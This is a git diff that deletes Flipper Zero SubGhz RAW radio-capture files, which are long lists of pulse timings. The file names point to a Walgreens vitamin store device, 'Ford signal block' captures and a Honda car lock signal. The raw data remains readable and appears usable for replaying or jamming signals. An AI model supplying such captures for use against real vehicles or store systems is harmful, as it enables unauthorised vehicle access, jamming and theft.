-4862 1031 -4890 1047 -1960 1037 -4880 1047 -4872 1039 -4874 1027 -7812 1013 -10674 1069 -4844 1023 -4880 1035 -1970 1009 -4872 1035 -4880 1015 -7796 1027 -4856 1043 -1958 1047 -7788 1013 -1984 1029 -4888 1003 -4904 1033 -7766 1043 -4860 1027 -4906 1031 -1960 1041 -4866 1047 -4878 1043 -4878 1013 -7822 1021 -10700 1041 -4884 1011 -4878 1049 -1964 1041 -4874 1047 -4866 1035 -7766 1053 -4874 1039 -1962 1043 -7772 1043 -1990 1021 -4874 1031 -4904 1011 -7818 1039 -4876 1043 -4874 1009 -2000 1023 -4874 1037 -4878 1043 -4868 1049 -7790 1029 -10724 -RAW_Data: 1011 -4902 1015 -4906 1027 -1976 1041 -4852 1047 -4844 1037 -7798 1011 -4878 1041 -1966 1009 -7812 1013 -1988 1003 -4906 1025 -4850 1051 -7776 1039 -4872 1047 -4858 1031 -1972 1043 -4864 1043 -4868 1023 -4894 1033 -7806 1009 -10746 1039 -4880 1015 -4904 1027 -1952 1045 -4878 1011 -4904 1009 -7796 1049 -4876 1013 -1994 1013 -7816 1025 -1962 1037 -4886 1039 -4898 1021 -7788 1039 -4884 1041 -4890 1009 -1994 1029 -4892 1039 -4858 1049 -4878 1023 -7804 1041 -10696 1045 -4878 1029 -4860 1029 -1996 1031 -4860 1041 -4890 1001 -7824 1001 -4882 1041 -1952 1043 -7774 1023 -1972 1031 -4904 1011 -4888 1031 -7776 1045 -4880 1011 -4866 1049 -1966 1041 -4876 1011 -4896 1011 -4872 1047 -7788 1009 -10694 1049 -4882 1007 -4882 1021 -1974 1051 -4876 1003 -4916 1013 -7810 1011 -4894 1009 -2000 1013 -7792 1033 -1980 1045 -4880 1023 -4884 1037 -7820 1011 -4890 1011 -4898 1041 -1964 1027 -4906 1009 -4890 1041 -4876 1021 -7836 1007 -10706 1021 -4880 1021 -4892 1041 -1972 1019 -4884 1025 -4894 1005 -7836 1013 -4880 1027 -1974 1037 -7794 1015 -2006 1015 -4876 1009 -4902 1027 -7778 1019 -4892 1037 -4878 1011 -2004 1019 -4858 1037 -4878 1013 -4908 993 -7804 1025 -10698 1013 -4906 985 -4894 1037 -1976 1011 -4874 1023 -4898 1007 -7834 1011 -4880 1029 -1980 1005 -7824 1011 -2004 1013 -4898 1009 -4916 1023 -7808 1015 -4880 1015 -4914 1025 -1982 1011 -4884 1049 -4880 1011 -4904 1031 -7814 1001 -10728 1027 -4880 1007 -4906 1015 -1988 1013 -4878 1049 -4878 1013 -7812 1015 -4894 1011 -2004 1013 -7812 1015 -2000 1017 -4872 1039 -4882 1011 -7838 985 -4916 1009 -4886 1001 -1990 1025 -4908 999 -4906 997 -4894 1015 -7824 987 -10718 1003 -4888 1007 -4916 987 -1988 999 -4894 1005 -4904 995 -7810 1007 -4902 1013 -1984 1015 -7808 1009 -2002 1011 -4900 1011 -4918 1017 -7812 997 -4920 1005 -4890 1041 -1970 1023 -4918 1007 -4908 989 -4924 985 -7834 1011 -10712 1011 -4924 1017 -4894 1009 -2000 979 -4924 1013 -4912 1017 -7792 1007 -4906 1011 -2012 979 -7842 995 -2012 1007 -4918 979 -4918 1009 -7838 985 -4910 1005 -4938 997 -1988 1013 -4918 987 -4920 1007 -4880 1015 -7832 987 -10718 1005 -4890 1015 -4864 1053 -1970 1009 -4894 1013 -4912 979 -7834 983 -4892 1003 -2004 1011 -7796 1025 -2008 1003 -4904 1011 -4898 1015 -7806 1015 -4910 1009 -4906 1013 -2014 981 -4938 995 -4916 1003 -4902 1009 -7814 1013 -196886 2885 -132 233 -100 3513 -66 297 -232 295 -330 363 -132 331 -166 329 -132 97 -66 265 -66 665 -100 299 -166 231 -166 297 diff --git a/assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub b/assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub deleted file mode 100644 index 929ea27ce..000000000 --- a/assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 741 -16932 99 -396 2011 -66 391 -166 97 -4912 363 -924 529 -166 65 -166 65 -132 97 -696 6215 -132 469245 -10672 975 -4880 1009 -4888 997 -1984 1009 -4856 1005 -4876 1007 -7780 997 -4884 985 -1976 1001 -7772 1023 -4848 1015 -1966 1023 -4852 1009 -7768 1001 -4860 1031 -4846 1015 -1976 1023 -4846 1039 -4852 1007 -4876 1009 -7760 1021 -10610 1047 -4836 1043 -4836 1037 -1970 1015 -4838 1035 -4856 1023 -7766 1013 -4866 1039 -1944 1017 -7760 1045 -4850 1029 -1946 1043 -4840 1033 -7778 1013 -4872 1035 -4844 1031 -1944 1035 -4864 1047 -4846 1011 -4860 1021 -7770 1023 -10632 1037 -4862 1027 -4856 1013 -1968 1039 -4842 1015 -4846 1033 -7752 1037 -4852 1025 -1948 1043 -7754 1039 -4848 1013 -1958 1035 -4858 1027 -7734 1053 -4830 1045 -4830 1037 -1936 1055 -4814 1033 -4842 1035 -4854 1023 -7736 1051 -10610 1049 -4822 1029 -4834 1045 -1940 1019 -4848 1033 -4836 1051 -7750 1027 -4826 1035 -1978 1015 -7744 1043 -4836 1039 -1968 1017 -4850 1031 -7752 1031 -4862 1021 -4876 1039 -1938 1047 -4842 1029 -4864 1031 -4856 1027 -7746 1043 -10640 1011 -4874 1009 -4856 1019 -1964 1037 -4830 1047 -4850 1029 -7736 1053 -4834 1047 -1928 1041 -7754 1015 -4880 1035 -1946 1047 -4842 1041 -7742 1021 -4846 1037 -4844 1021 -1974 1031 -4830 1049 -4836 1027 -4828 1035 -7766 999 -10626 1045 -4828 1037 -4852 1029 -1946 1009 -4840 1041 -4832 1041 -7732 1027 -4840 1047 -1938 1021 -7776 1009 -4850 1031 -1956 1041 -4864 1025 -7770 1011 -4872 1003 -4860 1033 -1964 1037 -4848 1023 -4850 1031 -4860 1029 -7772 1009 -10644 1023 -4854 1043 -4830 1035 -1962 1023 -4852 1039 -4850 1023 -7774 1011 -4846 1035 -1964 1013 -7760 1041 -4836 1051 -1954 1039 -4854 1011 -7752 1043 -4852 1025 -4876 1005 -1966 1045 -4850 1031 -4846 1025 -4842 1039 -7750 1013 -10652 1015 -4840 1037 -4852 1001 -1974 1011 -4834 1043 -4830 1039 -7732 1033 -4840 1023 -1966 1025 -7744 1043 -4836 1007 -1978 1009 -4870 1009 -7788 1029 -4830 1049 -4848 1037 -1972 1015 -4844 1027 -4860 1025 -4876 1007 -7762 1045 -10642 1013 -4848 1027 -4860 1023 -1956 1039 -4850 1009 -4880 1011 -7744 1035 -4850 1023 -1982 1031 -7734 1031 -4878 1011 -1980 1013 -4850 1037 -7764 1009 -4872 1007 -4874 1025 -1968 1009 -4874 1015 -4886 999 -4884 1013 -7778 1003 -10640 1031 -4838 1021 -4852 1041 -1956 1031 -4830 1039 -4822 1027 -7750 1017 -4846 1027 -1946 1017 -7760 1043 -4826 1039 -1968 1013 -4870 995 -7776 1011 -4848 1037 -4846 1007 -1996 1001 -4884 1015 -4868 1009 -4862 1005 -7782 1013 -10664 1025 -4860 1009 -4858 1027 -1960 1025 -4856 1009 -4866 1041 -7762 1001 -4868 1011 -1988 1015 -7762 1003 -4880 1007 -1996 997 -4888 1011 -7778 1007 -4864 1027 -4872 1013 -1984 1015 -4838 1035 -4878 1017 -4874 1001 -7762 1021 -10652 1017 -4886 1007 -4852 1029 -1966 1011 -4854 1027 -4854 1007 -7768 1019 -4836 1023 -1966 1027 -7754 999 -4856 1021 -1970 1033 -4846 1011 -7754 -RAW_Data: 1023 -4854 1039 -4864 995 -1984 1003 -4866 1027 -4856 1013 -4848 1039 -7764 999 -10656 1015 -4886 997 -4874 1031 -1948 1011 -4876 1015 -4886 1001 -7762 1027 -4854 1007 -1986 1011 -7788 1011 -4848 1037 -1960 1031 -4866 1009 -7792 1015 -4848 1039 -4844 1025 -1978 1003 -4892 1001 -4874 1009 -4868 1017 -7794 999 -10672 1017 -4870 989 -4886 991 -1972 1035 -4852 1007 -4876 1009 -7770 1027 -4854 1009 -1988 1007 -7762 1001 -4876 1011 -1984 985 -4864 1041 -7744 1009 -4878 1015 -4844 1007 -1996 1013 -4854 1033 -4848 1005 -4872 1011 -7744 1009 -10664 1011 -4864 991 -4866 1021 -1974 1003 -4860 1027 -4874 1011 -7768 1025 -4840 1021 -1984 1009 -7776 1021 -4876 1011 -1982 1015 -4862 1007 -7774 1025 -4874 1011 -4862 1027 -1976 1009 -4864 1027 -4878 1013 -4864 1025 -7764 1013 -10676 1007 -4858 1009 -4876 1017 -1968 997 -4890 1009 -4864 1003 -7772 1031 -4878 1013 -1946 1025 -7768 1009 -4900 1007 -1968 1017 -4884 993 -7750 1041 -4840 1023 -4862 1013 -1964 1011 -4880 1013 -4848 1007 -4880 1021 -7762 999 -10648 1011 -4868 995 -4888 985 -1984 1001 -4854 1027 -4846 1013 -7792 1001 -4878 1015 -1974 1009 -7760 1005 -4878 1027 -1982 1015 -4852 1007 -7800 999 -4876 1013 -4866 1025 -1978 1005 -4860 1029 -4874 1023 -4850 1023 -7772 1011 -10672 1001 -4856 1029 -4872 1011 -1984 983 -4882 1007 -4856 1031 -7752 1021 -4880 991 -1992 1013 -7754 1039 -4884 1013 -1968 999 -4888 1013 -7768 1001 -4890 1003 -4874 1011 -1986 1013 -4868 1009 -4834 1015 -4876 1015 -7760 1011 -10660 981 -4858 1037 -4838 1021 -1980 1009 -4864 1009 -4850 1003 -7754 1013 -4876 1001 -1974 1013 -7754 1003 -4888 1007 -1996 993 -4876 1035 -7764 1003 -4874 1009 -4892 993 -1984 1009 -4872 1023 -4886 989 -4870 1023 -7776 1009 -10672 999 -4888 1001 -4876 1011 -1986 983 -4890 1007 -4864 1023 -7752 1013 -4888 989 -1992 1015 -7766 1001 -4882 1005 -1994 995 -4888 1009 -7778 1007 -4882 1013 -4884 989 -1994 1011 -4866 1007 -4886 1005 -4870 1007 -7786 991 -10664 1011 -4866 999 -4844 1019 -1974 1007 -4858 1027 -4842 1015 -7764 1013 -4864 999 -1970 1009 -7774 1005 -4860 1025 -1962 1007 -4872 1025 -7768 1011 -4876 1003 -4860 1019 -1974 1023 -4892 1007 -4868 1021 -4846 1013 -7786 1025 -196452 65 -530 527 -66 297 -66 97 -198 395 -66 195 -132 821 -166 161 -2186 365 -400 99 -66 535 -100 297 -166 299 -496 365 -166 231 -166 101 -134 65 -100 1057 -132 397 -100 1417 -100 131 -98 559 -1326 893 -166 429 -166 531 \ No newline at end of file diff --git a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub b/assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub deleted file mode 100644 index 8d18a3bf6..000000000 --- a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2345 -100 2009 -66 531 -66 2089 -100 11453 -130 1255 -134 1099 -68 263 -68 1325 -130 689 -66 227 -66 3059 -132 461 -132 1351 -98 949 -164 131 -66 1227 -66 365 -132 2153 -66 1957 -98 3813 -98 2837 -100 1191 -134 231 -100 297 -66 467 -132 459 -66 1701 -66 459 -164 1817 -66 1131 -100 633 -66 4855 -66 1895 -100 331 -134 927 -68 1389 -100 431 -132 761 -66 297 -134 567 -132 231 -68 2751 -132 2361 -166 1327 -132 465 -98 2493 -68 1579 -64 557 -100 10873 -66 167 -68 1623 -266 365 -100 699 -98 493 -98 2077 -66 1485 -66 525 -68 657 -66 561 -66 263 -100 427 -98 1081 -264 561 -98 2415 -66 597 -68 955 -66 1517 -100 499 -66 301 -100 857 -132 1725 -134 895 -66 567 -98 3541 -66 457 -66 921 -64 395 -66 3117 -66 1149 -66 1021 -100 3923 -66 465 -68 2153 -100 1129 -68 829 -100 199 -102 365 -66 467 -66 401 -100 1493 -198 4999 -100 2113 -98 3799 -66 961 -68 6301 -66 11103 -100 899 -66 2763 -66 329 -66 327 -98 491 -98 1357 -66 599 -134 3067 -98 361 -66 691 -100 1295 -66 997 -66 1099 -66 565 -132 629 -64 851 -100 1919 -100 1855 -100 1555 -66 1057 -100 1861 -66 429 -66 231 -134 265 -66 833 -100 765 -166 861 -66 1131 -100 693 -100 3091 -130 329 -100 429 -132 1163 -100 1259 -134 197 -68 201 -166 995 -100 469 -100 1223 -66 4671 -66 621 -100 1151 -98 2303 -66 627 -98 2937 -68 1251 -66 1263 -66 2123 -66 2319 -66 2263 -66 831 -134 267 -200 597 -100 1351 -134 1659 -100 3797 -66 161 -130 1117 -68 1163 -66 463 -98 2097 -98 855 -66 3521 -132 2587 -100 267 -134 1327 -68 1861 -132 197 -98 393 -100 1119 -98 985 -98 589 -66 2093 -66 229 -98 1343 -66 2071 -66 789 -98 295 -100 493 -98 2207 -98 393 -66 6407 -132 165 -100 601 -64 821 -66 3667 -68 3851 -66 331 -132 929 -100 1029 -100 857 -98 917 -68 1223 -100 1327 -66 531 -100 299 -68 231 -68 231 -100 561 -66 1561 -66 659 -98 535 -298 995 -66 687 -66 591 -64 489 -66 727 -66 2077 -68 399 -68 401 -66 1097 -66 1225 -66 529 -66 199 -100 623 -66 625 -66 399 -66 501 -66 635 -100 4831 -66 425 -132 2533 -98 1793 -100 265 -100 4981 -98 10135 -98 757 -100 2177 -66 1083 -66 2221 -100 267 -66 523 -66 1721 -100 303 -66 927 -66 495 -98 591 -66 1431 -132 1607 -100 2367 -98 425 -66 491 -166 5113 -66 99 -66 599 -100 597 -66 1089 -98 859 -134 2781 -100 1157 -100 333 -66 2327 -66 931 -132 995 -66 365 -66 889 -68 2459 -100 2169 -100 1957 -66 -RAW_Data: 1691 -100 37967 -66 25817 -100 6713 -66 4141 -64 34649 -66 3459 -168 20963 -98 1517 -100 2363 -66 1313 -98 817 -98 3449 -66 529 -100 1831 -134 365 -100 333 -100 5453 -132 1147 -64 15915 -66 863 -164 631 -66 697 -132 1227 -132 4411 -168 2375 -200 367 -66 531 -132 4109 -66 555 -98 3283 -100 10457 -68 1427 -132 3681 -132 1281 -98 2783 -132 65 -68 4131 -66 2859 -132 1189 -134 463 -232 563 -132 231 -100 997 -100 1919 -68 233 -68 1031 -134 429 -168 2653 -66 1095 -132 2155 -100 2463 -66 1739 -66 467 -66 1301 -98 495 -100 933 -100 497 -66 1067 -100 1159 -132 663 -66 233 -100 7585 -66 1419 -66 1027 -132 2117 -66 2217 -166 463 -132 295 -64 689 -100 1251 -100 2321 -100 231 -66 2769 -100 395 -132 4951 -66 925 -98 1019 -132 1757 -100 461 -98 1217 -64 1051 -98 1115 -98 3489 -198 2003 -66 851 -100 265 -100 1429 -100 2429 -68 7893 -100 1931 -100 165 -130 295 -100 601 -66 2365 -98 327 -66 2109 -98 491 -132 787 -100 2349 -66 363 -100 657 -66 1909 -98 2455 -66 591 -66 489 -98 755 -100 1991 -66 327 -100 3603 -98 431 -66 1557 -98 1361 -66 1419 -100 1233 -98 993 -66 819 -100 4481 -66 1721 -98 763 -66 5207 -66 3541 -134 595 -132 463 -134 1727 -98 1779 -134 1935 -98 997 -66 467 -66 3569 -98 2167 -134 885 -66 559 -98 2357 -100 897 -132 995 -132 465 -68 1357 -66 4759 -132 97 -66 627 -132 599 -66 727 -66 1711 -66 299 -119290 43173 -119076 3585 -121912 65 -1558 65 -764 65 -166 165 -332 131 -100 65 -132 67 -100 1583 -130 787 -130 1677 -66 487 -66 1149 -100 823 -66 12847 -68 927 -68 1393 -102 597 -66 1367 -132 595 -98 693 -66 2687 -166 1227 -66 1103 -98 527 -132 753 -100 789 -66 361 -64 9511 -98 3779 -168 1859 -66 269 -66 733 -66 459 -100 1825 -66 721 -130 761 -66 1661 -132 461 -100 1687 -66 753 -66 2249 -100 589 -66 1217 -164 259 -132 3047 -98 329 -66 1079 -198 1813 -98 655 -98 3841 -166 961 -134 1063 -66 295 -64 751 -132 565 -98 3681 -66 2225 -132 1619 -66 10955 -68 727 -164 559 -100 723 -100 723 -66 587 -66 225 -64 1095 -68 1529 -66 429 -66 6901 -100 1325 -66 263 -100 197 -100 1229 -66 1131 -98 1057 -134 1161 -66 2375 -68 4243 -66 1355 -66 4767 -66 2607 -66 4327 -98 593 -66 425 -66 2643 -66 399 -100 1999 -98 2209 -100 1133 -66 3589 -132 965 -98 931 -98 2595 -66 2325 -66 1429 -100 11129 -134 2177 -98 633 -66 1159 -66 1219 -100 3621 -66 1395 -66 599 -98 1609 -100 1517 -68 1225 -68 633 -66 229 -66 3785 -68 -RAW_Data: 1825 -66 4677 -98 565 -100 4625 -68 163 -66 4487 -100 2925 -66 1821 -100 2183 -66 1481 -164 595 -100 4029 -66 1097 -68 557 -98 657 -66 1399 -66 199 -66 1549 -98 1295 -66 633 -66 931 -66 501 -66 927 -100 495 -66 961 -66 1353 -166 633 -68 593 -66 9089 -66 4113 -98 11921 -66 363 -102 465 -132 3979 -134 3107 -132 1161 -100 3019 -66 1551 -66 627 -66 695 -68 2851 -134 2453 -66 197 -66 1725 -100 2289 -132 1031 -66 2393 -98 1195 -100 529 -100 1199 -132 2745 -98 819 -98 129 -66 2597 -98 2335 -130 3667 -100 2061 -100 1163 -66 1331 -66 2721 -100 1129 -66 1851 -166 267 -66 1275 -98 619 -66 1051 -66 265 -66 2423 -132 1527 -132 1425 -132 4191 -130 5553 -100 797 -66 2269 -98 1581 -100 1327 -166 525 -66 427 -100 863 -68 2617 -98 2437 -68 2013 -166 401 -66 967 -100 1227 -66 297 -66 1291 -100 631 -68 3651 -100 3675 -66 1193 -100 6915 -266 2681 -100 301 -66 6177 -166 1839 -236 1725 -98 1465 -164 1225 -100 661 -66 1489 -132 65 -98 263 -66 3955 -66 1827 -66 13147 -66 863 -66 925 -66 933 -66 1779 -64 1741 -66 3839 -66 2969 -66 691 -134 1061 -100 1483 -68 3357 -100 665 -66 4895 -98 2729 -134 429 -66 1117 -132 653 -68 2153 -66 1489 -66 293 -98 433 -66 2845 -66 2569 -230 7425 -98 11813 diff --git a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub b/assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub deleted file mode 100644 index 313b72bed..000000000 --- a/assets/resources/subghz/Vehicles/Ford/ford_signal_block_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1194 -98 723 -100 1195 -132 3651 -132 767 -66 1225 -100 1725 -64 851 -66 1063 -66 3149 -100 885 -98 11991 -66 593 -100 2357 -66 4005 -100 435 -66 399 -66 1657 -66 631 -66 859 -66 165 -168 9979 -134 2223 -198 2119 -100 2721 -66 595 -100 1025 -98 197 -66 719 -68 1087 -66 921 -100 2369 -66 399 -66 597 -68 301 -102 231 -234 2577 -100 1869 -68 4727 -66 2757 -66 467 -136 65 -66 695 -66 955 -100 659 -100 3297 -66 3445 -66 4469 -66 399 -64 4791 -98 557 -262 1857 -132 2379 -130 623 -100 1125 -66 1959 -66 233 -68 599 -100 897 -100 2545 -98 391 -98 731 -100 429 -98 5005 -100 831 -100 2851 -100 869 -132 1597 -134 299 -68 1527 -134 495 -98 1763 -100 365 -100 1887 -68 265 -130 1277 -66 1851 -66 2507 -98 1477 -66 2137 -100 4733 -66 1463 -66 767 -66 267 -68 699 -66 1265 -66 697 -98 657 -100 1191 -102 763 -100 2605 -100 899 -64 2017 -100 897 -66 2223 -132 3411 -100 297 -66 1573 -98 427 -100 1283 -66 12059 -100 731 -66 1729 -132 863 -98 4205 -68 1597 -68 265 -134 1027 -66 1293 -66 2561 -166 4533 -66 1987 -66 959 -100 867 -66 927 -100 2517 -66 10521 -98 2407 -428 2075 -98 197 -98 857 -98 823 -98 2975 -134 763 -100 4285 -66 4111 -66 917 -66 18279 -68 4063 -68 661 -66 265 -98 589 -64 1649 -100 1663 -64 367 -68 3053 -66 4855 -98 1251 -166 12995 -198 1379 -100 655 -66 5835 -98 1059 -98 1323 -66 1323 -66 489 -164 1089 -98 3187 -100 729 -132 3715 -66 1495 -100 761 -66 1127 -66 493 -66 337 -102 3717 -66 2493 -64 229 -66 555 -68 3993 -100 1181 -100 3063 -164 1509 -66 1707 -66 1411 -100 1547 -66 1509 -66 2067 -98 2219 -66 231 -102 1359 -100 1067 -100 1179 -64 2233 -66 1413 -66 1859 -100 12655 -100 4017 -66 1363 -100 1261 -100 2919 -98 31953 -134 1259 -130 263 -68 397 -66 401 -168 1665 -100 899 -66 297 -66 1457 -66 597 -100 5103 -100 3547 -98 11543 -66 497 -66 2443 -98 757 -100 401 -98 533 -68 1513 -100 3065 -64 557 -66 787 -66 1153 -100 399 -102 2221 -66 739 -66 431 -100 2419 -100 629 -66 901 -66 25343 -98 11813 -66 899 -66 863 -100 465 -100 2807 -132 3925 -132 1625 -66 1049 -66 1509 -100 65 -66 765 -98 201 -134 499 -100 167 -100 299 -66 1031 -132 4619 -66 865 -98 3663 -230 1725 -100 897 -66 761 -66 4329 -100 65 -98 1379 -166 659 -100 589 -66 1645 -100 1455 -100 1487 -68 2885 -66 1097 -66 365 -100 2173 -66 1617 -132 265 -66 7307 -230 14757 -68 1517 -98 1639 -66 427 -132 1787 -66 1281 -66 5133 -100 -RAW_Data: 799 -66 4125 -68 52297 -119282 43139 -119116 43113 -114714 97 -230 651 -98 229 -198 497 -66 4477 -66 3999 -66 3649 -100 2751 -298 11711 -66 555 -64 391 -130 11633 -66 565 -66 981 -66 2419 -66 265 -68 529 -66 1741 -98 1807 -98 751 -66 1185 -66 293 -64 493 -66 2275 -100 2799 -98 725 -98 15189 -64 7501 -66 561 -68 2215 -100 493 -66 3007 -98 1315 -68 1851 -68 263 -68 4103 -68 1061 -100 397 -66 457 -98 2647 -100 1225 -66 1095 -134 297 -100 233 -98 1115 -132 2605 -98 5635 -66 1623 -100 2137 -66 2017 -66 749 -66 493 -66 2559 -100 5849 -166 3989 -132 1727 -68 3521 -66 1235 -100 4817 -66 1283 -66 757 -66 25669 -66 693 -66 199 -64 325 -132 301 -232 2305 -66 2665 -198 1231 -100 4299 -66 2135 -168 723 -66 5031 -66 2265 -68 265 -132 2535 -64 991 -66 1529 -100 467 -68 2253 -100 1721 -100 5451 -98 393 -64 32379 -66 293 -66 1913 -66 401 -100 231 -100 4115 -100 597 -66 1025 -66 623 -98 1909 -66 4641 -132 985 -100 4755 -66 1061 -68 599 -164 2735 -100 999 -66 1857 -68 1359 -66 1333 -66 3535 -166 5799 -66 1417 -66 885 -66 231 -102 859 -98 299 -98 587 -100 3255 -66 2961 -66 1511 -66 325 -100 4849 -164 3027 -66 1401 -66 1057 -100 1909 -66 1259 -100 1123 -98 427 -66 1061 -66 2353 -66 265 -68 4123 -164 2235 -66 1705 -98 5771 -98 767 -66 559 -66 267 -68 1125 -66 1689 -64 2107 -200 65 -132 661 -66 4321 -162 10711 -66 8983 -98 2487 -66 1259 -66 3019 -66 2837 -100 1733 -66 2231 -66 331 -66 899 -68 331 -68 893 -66 2439 -100 497 -66 2661 -100 599 -66 3407 -68 863 -100 1015 -132 2951 -66 9213 -66 921 -132 5749 diff --git a/assets/resources/subghz/Vehicles/Misc/Lock_honda.sub b/assets/resources/subghz/Vehicles/Misc/Lock_honda.sub deleted file mode 100644 index ca20a6e4a..000000000 --- a/assets/resources/subghz/Vehicles/Misc/Lock_honda.sub +++ /dev/null @@ -1,111 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433657070 -Preset: FuriHalSubGhzPresetCustom -Custom_preset_module: CC1101 -Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00 -Protocol: RAW -RAW_Data: 111 -310 119 -521 71 -168 99 -1037 53 -72 85 -212 63 -201 67 -140 75 -204 78 -410 151 -56 51 -155 71 -52 61 -124 57 -205 95 -256 73 -333 77 -1251 53 -66 113 -91 104 -122 81 -82 115 -298 240 -917 124 -136 97 -156 59 -76 51 -347 69 -80 76 -507 129 -296 110 -719 65 -435 67 -283 65 -230 53 -305 83 -160 81 -106 79 -106 79 -190 77 -236 53 -54 79 -171 69 -209 65 -829 71 -596 99 -138 73 -736 81 -54 59 -236 97 -1056 53 -174 98 -408 73 -164 53 -292 53 -652 69 -222 67 -118 66 -82 103 -187 129 -157 69 -363 51 -68 118 -291 59 -446 61 -204 78 -62 67 -340 69 -257 53 -150 155 -90 61 -344 61 -287 71 -234 105 -70 53 -189 79 -217 51 -344 51 -467 71 -654 77 -124 155 -441 59 -286 51 -512 143 -322 107 -106 121 -62 53 -316 73 -178 59 -159 177 -78 77 -614 63 -126 115 -223 88 -453 59 -60 128 -348 53 -166 69 -80 97 -72 61 -204 114 -62 53 -446 63 -346 65 -406 93 -243 106 -314 53 -273 108 -90 122 -82 183 -358 148 -1228 71 -134 120 -90 75 -276 115 -439 97 -141 192 -134 116 -403 100 -86 198 -848 179 -610 107 -152 51 -68 59 -126 59 -114 51 -245 51 -80 71 -142 59 -273 67 -765 110 -162 59 -118 139 -356 124 -257 71 -379 61 -130 51 -255 80 -88 53 -1160 119 -104 105 -387 71 -147 53 -293 51 -331 80 -437 97 -60 51 -270 95 -62 116 -74 162 -90 81 -114 64 -154 141 -345 82 -211 95 -162 73 -142 78 -54 61 -226 241 -90 124 -403 83 -94 71 -52 89 -296 69 -66 147 -192 98 -130 175 -232 274 -243 67 -126 73 -260 59 -52 71 -309 71 -60 116 -121 81 -192 79 -423 95 -94 76 -121 105 -311 170 -163 59 -126 180 -192 53 -281 59 -108 103 -155 63 -481 55 -166 75 -106 106 -538 114 -938 156 -343 67 -396 69 -70 51 -84 55 -80 51 -205 67 -222 113 -208 96 -326 89 -161 53 -261 91 -54 89 -520 96 -623 53 -108 65 -1143 61 -130 105 -330 53 -98 71 -78 53 -204 133 -329 53 -343 122 -605 87 -70 150 -433 51 -749 85 -60 59 -738 68 -334 65 -152 53 -54 98 -239 89 -132 89 -104 89 -724 51 -84 75 -113 77 -114 71 -543 166 -380 81 -328 67 -1188 53 -607 59 -62 139 -286 53 -54 61 -448 57 -333 67 -274 53 -80 147 -620 53 -84 94 -124 67 -52 110 -211 57 -225 143 -62 85 -239 77 -220 69 -82 81 -300 65 -138 112 -161 59 -293 -RAW_Data: 61 -212 144 -80 81 -167 129 -443 218 -208 107 -317 53 -80 53 -134 75 -665 53 -246 155 -256 116 -216 179 -249 67 -158 53 -164 57 -267 89 -194 65 -295 53 -201 61 -460 53 -230 75 -209 51 -562 63 -144 70 -258 81 -52 69 -438 53 -118 53 -762 51 -122 53 -203 81 -72 81 -72 251 -435 55 -382 59 -240 226 -60 65 -326 75 -245 61 -54 67 -173 79 -218 63 -62 103 -196 81 -160 101 -206 129 -105 121 -108 69 -257 73 -211 73 -92 53 -72 71 -90 94 -100 61 -491 61 -156 67 -201 114 -60 73 -255 107 -174 53 -179 171 -206 63 -655 63 -72 51 -98 81 -86 153 -70 53 -775 79 -497 89 -82 124 -90 77 -118 69 -384 53 -366 51 -60 109 -73 67 -98 53 -606 59 -64 133 -82 61 -273 67 -658 57 -239 104 -209 63 -107 61 -72 63 -493 69 -72 109 -421 59 -198 59 -72 79 -92 125 -364 75 -140 88 -102 77 -210 156 -171 88 -120 51 -237 97 -90 63 -88 61 -290 124 -136 59 -216 71 -178 98 -598 61 -101 95 -477 71 -134 71 -320 180 -113 55 -412 53 -78 67 -115 95 -142 53 -327 75 -434 73 -70 113 -100 97 -206 212 -226 53 -54 115 -217 53 -96 136 -160 107 -336 191 -124 99 -90 120 -74 89 -403 73 -217 107 -128 85 -90 71 -162 83 -780 51 -333 83 -194 123 -89 53 -107 159 -64 95 -533 70 -424 53 -202 59 -120 51 -198 59 -360 59 -229 75 -192 73 -98 121 -150 75 -70 51 -280 71 -143 57 -228 144 -141 96 -125 117 -54 91 -103 75 -60 154 -72 72 -54 171 -72 89 -116 100 -72 124 -259 262 -66 75 -80 121 -664 130 -166 53 -419 63 -251 67 -181 151 -72 128 -430 80 -574 71 -332 89 -86 59 -493 161 -464 53 -153 141 -609 51 -88 55 -198 57 -259 53 -342 53 -112 53 -806 104 -125 55 -164 59 -537 167 -310 141 -180 59 -650 83 -56 63 -126 53 -381 53 -227 75 -319 112 -60 61 -339 91 -174 105 -831 71 -309 81 -343 59 -371 53 -98 79 -151 76 -532 125 -225 141 -124 81 -418 96 -269 135 -237 63 -303 51 -54 148 -96 59 -262 53 -106 67 -162 103 -120 51 -1135 61 -60 61 -823 69 -135 87 -343 87 -170 89 -54 73 -272 172 -251 53 -449 83 -426 89 -194 87 -72 81 -827 97 -126 51 -202 232 -199 81 -92 169 -265 201 -503 95 -190 132 -241 61 -506 51 -52 121 -60 105 -457 59 -98 131 -169 57 -307 226 -326 78 -134 59 -72 59 -209 61 -52 101 -226 53 -72 -RAW_Data: 87 -208 218 -284 94 -181 79 -512 127 -175 73 -570 98 -108 73 -52 55 -94 69 -217 147 -361 97 -62 61 -724 110 -80 53 -576 77 -370 135 -389 319 -378 55 -307 132 -184 98 -778 124 -383 123 -60 151 -72 213 -144 71 -54 71 -310 63 -147 85 -210 230 -144 63 -187 125 -549 198 -556 71 -170 51 -68 55 -163 75 -598 97 -203 80 -52 119 -312 127 -914 89 -492 173 -152 63 -173 89 -188 53 -649 71 -728 65 -58 71 -124 71 -262 82 -168 70 -569 89 -618 89 -76 59 -261 